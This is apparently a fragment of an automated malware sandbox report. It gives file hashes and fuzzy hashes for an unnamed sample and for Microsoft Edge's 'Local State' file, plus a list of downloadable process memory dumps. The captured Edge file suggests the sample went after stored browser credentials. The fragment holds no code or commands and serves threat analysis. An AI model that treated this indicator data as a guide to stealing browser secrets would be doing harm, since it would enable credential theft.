SHA256 ee1367d356a136a11664001cd90e05ba08dbaa85f496584158f5e42be8e836fd
MD5 8297da058a737611abcc3a0ede9ffc24
SHA1 e532552672ecffbe3509fb4c334833a67f16d05b
SHA512 fefc70ebe486693310a00beb5ae125abb1569c4455538124d897566f2e44f2b3854ad4451196607137301a811ac7f96f1d488a36eb6d6cd566f2f7cdc7c7568f
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 26KB
SHA256 539de727e0ef5308f9ac577be761960dd605c108c2ea243b9bd780c8b7c8a0f2
MD5 2101be70194c3bb580e9f588064658c0
SHA1 74aafb327f9c490d5c4f7b1f9666ad178a8ddb30
SHA512 7909149046cb9c73a2b16e995ac1e5e2ebf6a50d65b86480873ebc7e44efef8f828c60013f615424cd40c9a615ea1d080ccec0a5b1a8a3d9efd86506db19a3ed
SSDEEP 384:nNiF1tNn/s3n9Sn8NgO8TUNTUlIRiPvuTu+yREqf+GGECXcMsLvOObjI9G6w7m93:EF1j+9SXOwgUuByZGEPhv29Mm
TLSH
T113C24A36E865CEB7EDE74FE9B74A7A46EEE0516785DC59C8DAD85E0C00C31AD030381A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2752-30-0x0000000023700000-0x0000000023701000-memory.dmp

Download

memory/2752-36-0x0000000023700000-0x0000000023701000-memory.dmp

Download

memory/2752-35-0x0000000023700000-0x0000000023701000-memory.dmp

Download

memory/2752-49-0x0000000000400000-0x0000000000461000-memory.dmp

Download

memory/2752-31-0x0000000023700000-0x0000000023701000-memory.dmp

Download

memory/2752-32-0x0000000023700000-0x0000000023701000-memory.dmp

Download

memory/2752-33-0x0000000023700000-0x0000000023701000-memory.dmp

Download

memory/2752-34-0x0000000023700000-0x0000000023701000-memory.dmp

Download

memory/2752-28-0x0000000023700000-0x0000000023701000-memory.dmp

Download

memory/2752-0-0x0000000000400000-0x0000000000461000-memory.dmp

Download

memory/2752-29-0x0000000023700000-0x0000000023701000-memory.dmp

Download

memory/2752-27-0x0000000023700000-0x0000000023701000-memory.dmp

Download